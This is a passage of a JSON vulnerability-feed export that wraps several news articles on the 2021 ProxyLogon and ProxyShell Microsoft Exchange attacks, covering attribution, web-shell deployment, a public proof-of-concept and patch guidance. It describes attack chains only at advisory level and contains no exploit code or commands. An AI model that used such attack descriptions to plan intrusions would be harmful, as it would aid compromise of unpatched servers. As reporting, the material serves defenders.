"confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-05T06:35:30", "id": "THN:A73831555CB04403ED3302C1DDC239B1", "href": "https://thehackernews.com/2021/03/cisa-issues-emergency-directive-on-in.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:03", "description": "[](<https://thehackernews.com/images/-zhQ48QulMdk/YEoxFcQGtGI/AAAAAAAACA4/814m_r5DKVkVs6zM_Hl9_2EeOlHMeXvTgCLcBGAsYHQ/s0/proxylogon-poc-exploit.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) on Wednesday issued a joint advisory warning of active exploitation of vulnerabilities in Microsoft Exchange on-premises products by nation-state actors and cybercriminals.\n\n\"CISA and FBI assess that adversaries could exploit these vulnerabilities to compromise networks, steal information, encrypt data for ransom, or even execute a destructive attack,\" the agencies [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/03/10/fbi-cisa-joint-advisory-compromise-microsoft-exchange-server>). \"Adversaries may also sell access to compromised networks on the dark web.\"\n\nThe attacks have primarily targeted local governments, academic institutions, non-governmental organizations, and business entities in various industry sectors, including agriculture, biotechnology, aerospace, defense, legal services, power utilities, and pharmaceutical, which the agencies say are in line with previous activity conducted by Chinese cyber actors.\n\nTens of thousands of entities, including the [European Banking Authority](<https://thehackernews.com/2021/03/microsoft-exchange-hackers-also.html>) and the [Norwegian Parliament](<https://www.reuters.com/article/us-norway-cyber/norway-parliament-sustains-fresh-cyber-attack-idUSKBN2B21TX>), are believed to have been breached to install a web-based backdoor called the [China Chopper web shell](<https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf>) that grants the attackers the ability to plunder email inboxes and remotely access the target systems.\n\nThe development comes in light of the [rapid expansion](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) of attacks aimed at vulnerable Exchange Servers, with multiple threat actors exploiting the vulnerabilities as early as February 27 before they were eventually patched by Microsoft last week, swiftly turning what was labeled as \"limited and targeted\" into an indiscriminate mass exploitation campaign.\n\nWhile there is no concrete explanation for the widespread exploitation by so many different groups, speculations are that the adversaries shared or sold exploit code, resulting in other groups being able to abuse these vulnerabilities, or that the groups obtained the exploit from a common seller.\n\n### From RCE to Web Shells to Implants\n\nOn March 2, 2021, [Volexity](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) publicly disclosed the detection of [multiple zero-day exploits](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) used to target flaws in on-premises versions of Microsoft Exchange Servers, while pegging the earliest in-the-wild exploitation activity on January 3, 2021.\n\n[](<https://thehackernews.com/images/-5BlLSFX3zpg/YEosmvOx0eI/AAAAAAAACAo/nZ_vd-Gp5t0YKLVuZ3PO1-zu6tpT_hqRQCLcBGAsYHQ/s0/poc.jpg>)\n\nSuccessful weaponization of these flaws, called ProxyLogon, allows an attacker to access victims' Exchange Servers, enabling them to gain persistent system access and control of an enterprise network.\n\nAlthough Microsoft initially pinned the intrusions on Hafnium, a threat group that's assessed to be state-sponsored and operating out of China, Slovakian cybersecurity firm ESET on Wednesday [said](<https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/>) it identified no fewer than 10 different threat actors that likely took advantage of the remote code execution flaws to install malicious implants on victims' email servers.\n\nApart from Hafnium, the five groups detected as exploiting the vulnerabilities prior to the patch release are Tick, LuckyMouse, Calypso, Websiic, and Winnti (aka APT41 or Barium), with five others (Tonto Team, ShadowPad, \"Opera\" Cobalt Strike, Mikroceen, and DLTMiner) scanning and compromising Exchange servers in the days immediately following the release of the fixes.\n\nNo conclusive evidence has emerged so far connecting the campaign to China, but DomainTools' Senior Security Researcher Joe Slowik [noted](<https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders>) that several of the aforementioned groups have been formerly linked to China-sponsored activity, including Tick, LuckyMouse, Calypso, Tonto Team, Mikroceen, and the Winnti Group, indicating that Chinese entities other than Hafnium are tied to the Exchange exploitation activity.\n\n\"It seems clear that there are numerous clusters of groups leveraging these vulnerabilities, the groups are using mass scanning or services that allow them to independently target the same systems, and finally there are multiple variations of the code being dropped, which may be indicative of iterations to the attack,\" Palo Alto Networks' Unit 42 threat intelligence team [said](<https://unit42.paloaltonetworks.com/china-chopper-webshell/>).\n\nIn one cluster tracked as \"[Sapphire Pigeon](<https://redcanary.com/blog/microsoft-exchange-attacks/#clusters>)\" by researchers from U.S.-based Red Canary, attackers dropped multiple web shells on some victims at different times, some of which were deployed days before they conducted follow-on activity.\n\nAccording to ESET's telemetry analysis, more than 5,000 email servers belonging to businesses and governments from over 115 countries are said to have been affected by malicious activity related to the incident. For its part, the Dutch Institute for Vulnerability Disclosure (DIVD) [reported](<https://csirt.divd.nl/2021/03/08/Exchange-vulnerabilities-update/>) Tuesday that it found 46,000 servers out of 260,000 globally that were unpatched against the heavily exploited ProxyLogon vulnerabilities.\n\n[](<https://thehackernews.com/images/-f2zgTwFBKWw/YEos7G5zJ-I/AAAAAAAACAw/m0hGtK4suCkDQoGBl9drBf63JXBQA7YfQCLcBGAsYHQ/s0/cyberattack-timeline.jpg>)\n\nTroublingly, evidence points to the fact that the deployment of the web shells ramped up following the availability of the patch on March 2, raising the possibility that additional entities have opportunistically jumped in to create exploits by reverse engineering Microsoft updates as part of multiple, independent campaigns.\n\n\"The day after the release of the patches, we started to observe many more threat actors scanning and compromising Exchange servers en masse,\" said ESET researcher Matthieu Faou. \"Interestingly, all of them are APT groups focused on espionage, except one outlier that seems related to a known coin-mining campaign (DLTminer). It is still unclear how the distribution of the exploit happened, but it is inevitable that more and more threat actors, including ransomware operators, will have access to it sooner or later.\"\n\nAside from installing the web shell, other behaviors related to or inspired by Hafnium activity include [conducting reconnaissance](<https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3>) in victim environments by deploying batch scripts that automate several functions such as account enumeration, credential-harvesting, and network discovery.\n\n### Public Proof-of-Concept Available\n\nComplicating the situation further is the availability of what appears to be the first functional public proof-of-concept (PoC) exploit for the ProxyLogon flaws despite Microsoft's attempts to take down exploits published on GitHub over the past few days.\n\n[](<https://thehackernews.com/images/-jZ4Km1P3Jic/YEoruswQHKI/AAAAAAAACAg/3mKbCQaUVkA1x98uEBtKA4hueS2e9ZqRgCLcBGAsYHQ/s0/proxylogon-exploit.jpg>)\n\n\"I've confirmed there is a public PoC floating around for the full RCE exploit chain,\" security researcher Marcus Hutchins [said](<https://twitter.com/MalwareTechBlog/status/1369729825104007169>). \"It has a couple bugs but with some fixes I was able to get shell on my test box.\"\n\nAlso accompanying the PoC's release is a detailed [technical write-up](<https://www.praetorian.com/blog/reproducing-proxylogon-exploit/>) by Praetorian researchers, who reverse-engineered CVE-2021-26855 to build a fully functioning end-to-end exploit by identifying differences between the vulnerable and patched versions.\n\nWhile the researchers deliberately decided to omit critical PoC components, the development has also raised concerns that the technical information could further accelerate the development of a working exploit, in turn triggering even more threat actors to launch their own attacks.\n\nAs the sprawling hack's timeline slowly crystallizes, what's clear is that the surge of breaches against Exchange Server appears to have happened in two phases, with Hafnium using the chain of vulnerabilities to stealthily attack targets in a limited fashion, before other hackers began driving the frenzied scanning activity starting February 27.\n\nCybersecurity journalist Brian Krebs [attributed](<https://krebsonsecurity.com/2021/03/warning-the-world-of-a-ticking-time-bomb/>) this to the prospect that \"different cybercriminal groups somehow learned of Microsoft's plans to ship fixes for the Exchange flaws a week earlier than they'd hoped.\"\n\n\"The best advice to mitigate the vulnerabilities disclosed by Microsoft is to apply the relevant patches,\" Slowik [said](<https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders>). \"However, given the speed in which adversaries weaponized these vulnerabilities and the extensive period of time pre-disclosure when these were actively exploited, many organizations will likely need to shift into response and remediation activities to counter existing intrusions.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-11T15:04:00", "type": "thn", "title": "ProxyLogon PoC Exploit Released; Likely to Fuel More Disruptive Cyber Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-15T08:52:31", "id": "THN:ABF9BC598B143E7226083FE7D2952CAE", "href": "https://thehackernews.com/2021/03/proxylogon-exchange-poc-exploit.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEjiGzDP_Q8TgakrIFP6H8c0NlSHHH4ztdEtesv8G-AaS-LvfiauO6JgcrFpPKfplpRuqYssvepWzyhQaLMIPqPzyt00vE0kNEL3qEg1k1YRQpWZouKa_km8jD-kuKbNBXugV_MhYndYW41kM6o2z77T4oOGQlDGhGk-HA0tZfdol-RO_fCE6o7N54uW>)\n\nThreat actors are exploiting ProxyLogon and ProxyShell exploits in unpatched Microsoft Exchange Servers as part of an ongoing spam campaign that leverages stolen email chains to bypass security software and deploy malware on vulnerable systems.\n\nThe findings come from Trend Micro following an investigation into a number of intrusions in the Middle East that culminated in the distribution of a never-before-seen loader dubbed SQUIRRELWAFFLE. First publicly [documented](<https://thehackernews.com/2021/10/hackers-using-squirrelwaffle-loader-to.html>) by Cisco Talos, the attacks are believed to have commenced in mid-September 2021 via laced Microsoft Office documents.\n\n\"It is known for sending its malicious emails as replies to pre-existing email chains, a tactic that lowers a victim's guard against malicious activities,\" researchers Mohamed Fahmy, Sherif Magdy, Abdelrhman Sharshar [said](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) in a report published last week. \"To be able to pull this off, we believe it involved the use of a chain of both ProxyLogon and ProxyShell exploits.\"\n\n[ProxyLogon](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) and [ProxyShell](<https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html>) refer to a collection of flaws in Microsoft Exchange Servers that could enable a threat actor to elevate privileges and remotely execute arbitrary code, effectively granting the ability to take control of the vulnerable machines. While the ProxyLogon flaws were addressed in March, the ProxyShell bugs were patched in a series of updates released in May and July.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEhYwBTFRq5MuslNIXJAtZNZ-q9Ik0Wyu_z6HVG8loZsBaeJR_tXRLvm18OZvIJYeeOyYp0DVHZdMg8sdqe9H3ePEot8dMGuNuC25YWuyp09kuYsm_qh2nU_3dlFK7X2kVXn-DYmtklqChAj_2BOpas4TFiWcbPR3PtoX5RKukcpGn0sd1S8Ubdqo1bu>) \n--- \nDLL infection flow \n \nTrend Micro said it observed the use of public exploits for CVE-2021-26855 (ProxyLogon), CVE-2021-34473, and CVE-2021-34523 (ProxyShell) on three of the Exchange servers that were compromised in different intrusions, using the access to hijack legitimate email threads and send malicious spam messages as replies, thereby increasing the likelihood that unsuspecting recipients will open the emails.\n\n\"Delivering the malicious spam using this technique to reach all the internal domain users will decrease the possibility of detecting or stopping the attack, as the mail getaways will not be able to filter or quarantine any of these internal emails,\" the researchers said, adding the attackers behind the operation did not carry out lateral movement or install additional malware so as to stay under the radar and avoid triggering any alerts.\n\nThe attack chain involves rogue email messages containing a link that, when clicked, drops a Microsoft Excel or Word file. Opening the document, in turn, prompts the recipient to enable macros, ultimately leading to the download and execution of the SQUIRRELWAFFLE malware loader, which acts as a medium to fetch final-stage payloads such as Cobalt Strike and Qbot.\n\nThe development marks a new escalation in phishing campaigns where a threat actor has breached corporate Microsoft Exchange email servers to gain unauthorized access to their internal mail systems and distribute malicious emails in an attempt to infect users with malware.\n\n\"SQUIRRELWAFFLE campaigns should make users wary of the different tactics used to mask malicious emails and files,\" the researchers concluded. \"Emails that come from trusted contacts may not be enough of an indicator that whatever link or file included in the email is safe.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-22T11:47:00", "type": "thn", "title": "Hackers Exploiting ProxyLogon and ProxyShell Flaws in Spam Campaigns", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-23T07:33:36", "id": "THN:0D80EEB03C07D557AA62E071C7A7C619", "href": "https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-AxSsNt-9gYo/YD838gSOOTI/AAAAAAAAB7Q/IuSgG26w0NU-eyKMabZMnUfb7QBDyHkUgCLcBGAsYHQ/s0/ms-exchnage.jpg>)\n\nMicrosoft has [released emergency patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server>) to address four previously undisclosed security flaws in Exchange Server that it says are being actively exploited by a new Chinese state-sponsored threat actor with the goal of perpetrating data theft.\n\nDescribing the attacks as \"limited and targeted,\" Microsoft Threat Intelligence Center (MSTIC) said the adversary used these vulnerabilities to access on-premises Exchange servers, in turn granting access to email accounts and paving the way for the installation of additional malware to facilitate long-term access to victim environments.\n\nThe tech giant primarily attributed the campaign with high confidence to a threat actor it calls HAFNIUM, a state-sponsored hacker collective operating out of China, although it suspects other groups may also be involved.\n\nDiscussing the tactics, techniques, and procedures (TTPs) of the group for the first time, Microsoft paints HAFNIUM as a \"highly skilled and sophisticated actor\" that mainly singles out entities in the U.S. for exfiltrating sensitive information from an array of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks and NGOs.\n\nHAFNIUM is believed to orchestrate its attacks by leveraging leased virtual private servers in the U.S. in an attempt to cloak its malicious activity.\n\nThe three-stage attack involves gaining access to an Exchange Server either with stolen passwords or by using previously undiscovered vulnerabilities, followed by deploying a web shell to control the compromised server remotely. The last link in the attack chain makes use of remote access to plunder mailboxes from an organization's network and export the collected data to file sharing sites like MEGA.\n\nTo achieve this, as many as [four zero-day vulnerabilities](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) discovered by researchers from Volexity and Dubex are used as part of the attack chain \u2014\n\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>): A server-side request forgery (SSRF) vulnerability in Exchange Server\n * [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>): An insecure deserialization vulnerability in the Unified Messaging service\n * [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>): A post-authentication arbitrary file write vulnerability in Exchange, and\n * [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>): A post-authentication arbitrary file write vulnerability in Exchange\n\nAlthough the vulnerabilities impact Microsoft Exchange Server 2013, Microsoft Exchange Server 2016, and Microsoft Exchange Server 2019, Microsoft said it's updating Exchange Server 2010 for \"Defense in Depth\" purposes.\n\n[](<https://thehackernews.com/images/-_eUnJYSlv7A/YD86dcga76I/AAAAAAAAB7Y/Ex1kb11XGtcD6b878ASeDzA-SFz8SSzNgCLcBGAsYHQ/s0/ms.jpg>)\n\nFurthermore, since the initial attack requires an untrusted connection to Exchange server port 443, the company notes that organizations can mitigate the issue by restricting untrusted connections or by using a VPN to separate the Exchange server from external access.\n\nMicrosoft, besides stressing that the exploits were not connected to the SolarWinds-related breaches, said it has briefed appropriate U.S. government agencies about the new wave of attacks. But the company didn't elaborate on how many organizations were targeted and whether the attacks were successful.\n\nStating that the intrusion campaigns appeared to have started around January 6, 2021, Volexity cautioned it has detected active in-the-wild exploitation of multiple Microsoft Exchange vulnerabilities used to steal email and compromise networks.\n\n\"While the attackers appear to have initially flown largely under the radar by simply stealing emails, they recently pivoted to launching exploits to gain a foothold,\" Volexity researchers Josh Grunzweig, Matthew Meltzer, Sean Koessel, Steven Adair, and Thomas Lancaster [explained](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) in a write-up.\n\n\"From Volexity's perspective, this exploitation appears to involve multiple operators using a wide variety of tools and methods for dumping credentials, moving laterally, and further backdooring systems.\"\n\nAside from the patches, Microsoft Senior Threat Intelligence Analyst Kevin Beaumont has also [created](<https://twitter.com/GossiTheDog/status/1366858907671552005>) a [nmap plugin](<https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange.nse>) that can be used to scan a network for potentially vulnerable Microsoft Exchange servers.\n\nGiven the severity of the flaws, it's no surprise that patches have been rolled out a week ahead of the company's Patch Tuesday schedule, which is typically reserved for the second Tuesday of each month. Customers using a vulnerable version of Exchange Server are recommended to install the updates immediately to thwart these attacks.\n\n\"Even though we've worked quickly to deploy an update for the Hafnium exploits, we know that many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems,\" Microsoft's Corporate Vice President of Customer Security, Tom Burt, [said](<https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/>). \"Promptly applying today's patches is the best protection against this attack.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-03T07:28:00", "type": "thn", "title": "URGENT \u2014 4 Actively Exploited 0-Day Flaws Found in Microsoft Exchange", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-03T07:56:35", "id": "THN:9AB21B61AFE09D4EEF533179D0907C03", "href": "https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-LOLhcDcH4Q0/YEX4fZpKfUI/AAAAAAAAB9w/I0oQNqeVV2YmhlyC8lyvV-LztA9giv0vACLcBGAsYHQ/s0/microsoft-exchange-hacking.jpg>)\n\nMicrosoft on Friday warned of active attacks exploiting [unpatched Exchange Servers](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) carried out by multiple threat actors, as the hacking campaign is believed to have infected tens of thousands of businesses, government entities in the U.S., Asia, and Europe.\n\nThe company [said](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) \"it continues to see increased use of these vulnerabilities in attacks targeting unpatched systems by multiple malicious actors beyond HAFNIUM,\" signaling an escalation that the breaches are no longer \"limited and targeted\" as was previously deemed.\n\nAccording to independent cybersecurity journalist [Brian Krebs](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>), at least 30,000 entities across the U.S. \u2014 mainly small businesses, towns, cities, and local governments \u2014 have been compromised by an \"unusually aggressive\" Chinese group that has set its sights on stealing emails from victim organizations by exploiting previously undisclosed flaws in Exchange Server.\n\nVictims are also being reported from outside the U.S., with email systems belonging to businesses in [Norway](<https://nsm.no/aktuelt/oppdater-microsoft-exchange-snarest>), the [Czech Republic](<https://nukib.cz/cs/infoservis/hrozby/1692-vyjadreni-k-aktualni-situaci/>) and the [Netherlands](<https://www.ncsc.nl/actueel/nieuws/2021/maart/8/40-nl-microsoft-exchange-servers-nog-steeds-kwetsbaar>) impacted in a series of hacking incidents abusing the vulnerabilities. The Norwegian National Security Authority said it has implemented a vulnerability scan of IP addresses in the country to identify vulnerable Exchange servers and \"continuously notify these companies.\"\n\nThe colossal scale of the ongoing offensive against Microsoft's email servers also eclipses the [SolarWinds hacking spree](<https://thehackernews.com/2020/12/nearly-18000-solarwinds-customers.html>) that came to light last December, which is said to have targeted as many as 18,000 customers of the IT management tools provider. But as it was with the SolarWinds hack, the attackers are likely to have only gone after high-value targets based on an initial reconnaissance of the victim machines.\n\n### Unpatched Exchange Servers at Risk of Exploitation\n\nA successful [exploitation of the flaws](<https://unit42.paloaltonetworks.com/microsoft-exchange-server-vulnerabilities/>) allows the adversaries to break into Microsoft Exchange Servers in target environments and subsequently allow the installation of unauthorized web-based backdoors to facilitate long-term access. With multiple threat actors leveraging these zero-day vulnerabilities, the post-exploitation activities are expected to differ from one group to the other based on their motives.\n\nChief among the vulnerabilities is CVE-2021-26855, also called \"ProxyLogon\" (no connection to ZeroLogon), which permits an attacker to bypass the authentication of an on-premises Microsoft Exchange Server that's able to receive untrusted connections from an external source on port 443. This is followed by the exploitation of CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 post-authentication, allowing the malicious party to gain remote access.\n\nTaiwanese cybersecurity firm Devcore, which began an internal audit of Exchange Server security in October last year, [noted in a timeline](<https://proxylogon.com/>) that it discovered both CVE-2021-26855 and CVE-2021-27065 within a 10-day period between December 10-20, 2020. After chaining these bugs into a workable pre-authentication RCE exploit, the company said it reported the issue to Microsoft on January 5, 2021, suggesting that Microsoft had almost two months to release a fix.\n\n[](<https://thehackernews.com/images/-zR_JCeV5Moo/YEX5KX2rxLI/AAAAAAAAB94/XG6lQGCnfO0ZUBwgiwv9agIbi4TfP1csACLcBGAsYHQ/s0/microsoft-exchange-hacking.jpg>)\n\nThe four security issues in question were eventually [patched by Microsoft](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) as part of an emergency out-of-band security update last Tuesday, while warning that \"many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems.\"\n\nThe fact that Microsoft also patched Exchange Server 2010 suggests that the vulnerabilities have been lurking in the code for more than ten years.\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA), which released an [emergency directive](<https://thehackernews.com/2021/03/cisa-issues-emergency-directive-on-in.html>) warning of \"active exploitation\" of the vulnerabilities, urged government agencies running vulnerable versions of Exchange Server to either update the software or disconnect the products from their networks.\n\n\"CISA is aware of widespread domestic and international exploitation of Microsoft Exchange Server vulnerabilities and urges scanning Exchange Server logs with Microsoft's IoC detection tool to help determine compromise,\" the agency [tweeted](<https://twitter.com/USCERT_gov/status/1368216461571919877>) on March 6.\n\nIt's worth noting that merely installing the patches issued by Microsoft would have no effect on servers that have already been backdoored. Organizations that have been breached to deploy the web shell and other post-exploitation tools continue to remain at risk of future compromise until the artifacts are completely rooted out from their networks.\n\n### Multiple Clusters Spotted\n\nFireEye's Mandiant threat intelligence team [said](<https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html>) it \"observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment\" since the start of the year. Cybersecurity firm Volexity, one of the firms credited with discovering the flaws, said the intrusion campaigns appeared to have started around January 6, 2021.\n\nNot much is known about the identities of the attackers, except that Microsoft has primarily attributed the exploits with high confidence to a group it calls Hafnium, a skilled government-backed group operating out of China. Mandiant is tracking the intrusion activity in three clusters, UNC2639, UNC2640, and UNC2643, adding it expects the number to increase as more attacks are detected.\n\nIn a statement to [Reuters](<https://www.reuters.com/article/us-usa-cyber-microsoft/more-than-20000-u-s-organizations-compromised-through-microsoft-flaw-source-idUSKBN2AX23U>), a Chinese government spokesman denied the country was behind the intrusions.\n\n\"There are at least five different clusters of activity that appear to be exploiting the vulnerabilities,\" [said](<https://twitter.com/redcanary/status/1368289931970322433>) Katie Nickels, director of threat intelligence at Red Canary, while noting the differences in the techniques and infrastructure from that of the Hafnium actor.\n\nIn one particular instance, the cybersecurity firm [observed](<https://twitter.com/redcanary/status/1367935292724948992>) that some of the customers compromised Exchange servers had been deployed with a crypto-mining software called [DLTminer](<https://www.carbonblack.com/blog/cb-tau-technical-analysis-dltminer-campaign-targeting-corporations-in-asia/>), a malware documented by Carbon Black in 2019.\n\n\"One possibility is that Hafnium adversaries shared or sold exploit code, resulting in other groups being able to exploit these vulnerabilities,\" Nickels said. \"Another is that adversaries could have reverse engineered the patches released by Microsoft to independently figure out how to exploit the vulnerabilities.\"\n\n### Microsoft Issues Mitigation Guidance\n\nAside from rolling out fixes, Microsoft has published new alternative mitigation guidance to help Exchange customers who need more time to patch their deployments, in addition to pushing out a new update for the Microsoft Safety Scanner (MSERT) tool to detect web shells and [releasing a script](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>) for checking HAFNIUM indicators of compromise. They can be found [here](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>).\n\n\"These vulnerabilities are significant and need to be taken seriously,\" Mat Gangwer, senior director of managed threat response at Sophos said. \"They allow attackers to remotely execute commands on these servers without the need for credentials, and any threat actor could potentially abuse them.\"\n\n\"The broad installation of Exchange and its exposure to the internet mean that many organizations running an on-premises Exchange server could be at risk,\" Gangwer added.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-08T10:15:00", "type": "thn", "title": "Microsoft Exchange Cyber Attack \u2014 What Do We Know So Far?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": 